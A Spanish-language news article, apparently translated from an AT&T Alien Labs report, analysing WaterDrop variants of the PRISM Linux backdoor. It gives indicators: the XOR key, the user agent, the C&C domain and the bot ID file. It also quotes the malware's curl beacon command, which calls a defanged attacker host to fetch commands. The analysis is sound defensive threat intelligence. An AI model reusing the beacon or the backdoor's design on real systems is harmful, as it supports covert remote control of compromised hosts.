LinuxParty
NUESTRO SITIO necesita la publicidad para costear hosting y el dominio. Por favor considera deshabilitar tu AdBlock en nuestro sitio. También puedes hacernos una donación entrando en linuxparty.es, en la columna de la derecha.
AT&T Alien Labs ha descubierto recientemente un grupo de ejecutables ELF de Linux que tienen detecciones de antivirus bajas o nulas en VirusTotal, aunque nuestros sistemas de análisis de amenazas internos los han marcado como maliciosos. Tras la inspección de las muestras, Alien Labs las ha identificado como modificaciones de la puerta trasera PRISM de código abierto utilizada por múltiples actores de amenazas en varias campañas.
Hemos realizado una investigación más a fondo de las muestras y hemos descubierto que varias campañas que utilizan estos ejecutables maliciosos han logrado permanecer activas y bajo el radar durante más de 3,5 años. Las muestras más antiguas que Alien Labs puede atribuir a uno de los actores datan del 8 de noviembre de 2017.
Análisis
WaterDrop
La variante WaterDrop es fácilmente identificable, ya que incluye una función llamada xencrypt que realiza el cifrado XOR con la clave 0x1F codificada de un solo byte. A partir de la versión 7 de la variante WaterDrop, las muestras incluyen la cadena de texto sin formato "WaterDropx vX iniciado", donde X es el número de versión entero. Hasta ahora, hemos observado que las versiones 1, 2.2 y 3 todavía usan el nombre PRISM. Las versiones 7, 9 y 12 se denominan WaterDropx.
También utiliza la cadena de agente de usuario fácilmente identificable " agent-waterdropx " para las comunicaciones de comando y control (C&C) basadas en HTTP, y llega a los subdominios del dominio waterdropx [.] Com.
Si bien todos estos pueden parecer indicadores bastante obvios, el actor de amenazas detrás de esta variante ha logrado mantener una puntuación de detección de cero o casi cero en VirusTotal para sus muestras y dominios. Lo más probable es que esto se deba a que sus campañas son bastante pequeñas. El dominio waterdropx [.] Com se registró para el propietario actual el 18 de agosto de 2017 y, al 10 de agosto de 2021, todavía estaba en línea.
Además de las características básicas de PRISM, WaterDrop introduce el cifrado XOR para la configuración y un proceso adicional que consulta regularmente a los C&C sobre los comandos a ejecutar (ver figura 2).

Esta comunicación con el servidor C&C es HTTP de texto plano y se realiza mediante el comando curl. En todas las versiones que ha observado Alien Labs, se utiliza la opción -A “agent-waterdropx”, lo que significa que el encabezado del agente de usuario permanecerá constante en todas las versiones.
También hemos observado algunas muestras de esta variante que cargan un Módulo Kernel si el proceso se ejecuta con privilegios de root (ver figura 3).
Evolución de la versión
PRISM v1
Alien Labs ha encontrado muestras etiquetadas como "PRISM v1" que podemos atribuir al mismo actor de amenazas con gran confianza ya que utilizan el mismo dominio de C&C (waterdropx [.] Com). Las muestras también comparten características distintivas, como la cadena de agente de usuario agent-waterdropx.
En comparación con el PRISM público, esta versión introduce la creación de un proceso hijo que consulta constantemente al servidor de C&C para que se ejecuten los comandos. La solicitud inicial al servidor C&C se realiza mediante el siguiente comando:
curl -A 'agent-waterdropx' 'http://r.waterdropx[.]com:13858/tellmev2.x?v=1&act=touch'
PRISM v1 no presenta ningún tipo de ofuscación, empaquetado o encriptación de los binarios.
PRISM v2.2
PRISM v2.2 introduce el uso del cifrado XOR para ofuscar datos confidenciales, como las cadenas de comandos BASH utilizadas. La clave es de un solo byte y está codificada en el valor 0x1F. Esta clave en particular se utiliza en todas las muestras de este actor de amenazas que observamos.
Para esta versión, el formato de solicitud de URI de C&C inicial es:
/tellmev2.x?v=2.2&act=touch
PRISM v3
Es idéntico a v2.2, con una excepción: los clientes incluyen un ID de bot para fines de identificación. Esta identificación de bot se guarda en /etc/.xid y se usa en la baliza de malware.
El formato de solicitud inicial es:
/tellmev2.x?v=3&act=touch&xid=
Para más información sobre PRISM, siga este enlace
Para una traducción automática, en español siga este enlace

-
Seguridad
- 4 consejos útiles para proteger la interfaz de inicio de sesión de PhpMyAdmin
- Añadir una capa adicional de seguridad en la interfaz de inicio de sesión de PhpMyAdmin
- Cómo configurar HTTPS (certificados SSL) para asegurar el inicio de sesión de PhpMyAdmin
- Cómo cambiar y asegurar la URL de inicio de sesión predeterminada de PhpMyAdmin
- 4 herramientas útiles para ejecutar comandos en múltiples servidores Linux
- Por fin, conseguir el certificado digital sin salir de casa ya es posible
- ¿Puede C++ ser más seguro? Bjarne Stroustrup sobre garantizar la seguridad de la memoria.
- 5 herramientas de Hacking ético que bien te gustaría aprender.
- Cómo quitar la contraseña de un archivo PDF usando las opciones de la línea de comandos de Linux
- Restringir acceso a usuarios SSH a cierto directorio mediante chroot jail
- Las 5 mejores prácticas para prevenir ataques de inicio de sesión de fuerza bruta SSH en Linux
- Script para hacer copia de seguridad de los Usuarios, Bases de Datos y /var/www/html
- Cómo recuperar un disco o partición de Linux o Windows. NTFS
- Linux/UNIX elimina la sesión SSH colgada que no responde
- Cómo configurar la autenticación de dos factores para SSH en Linux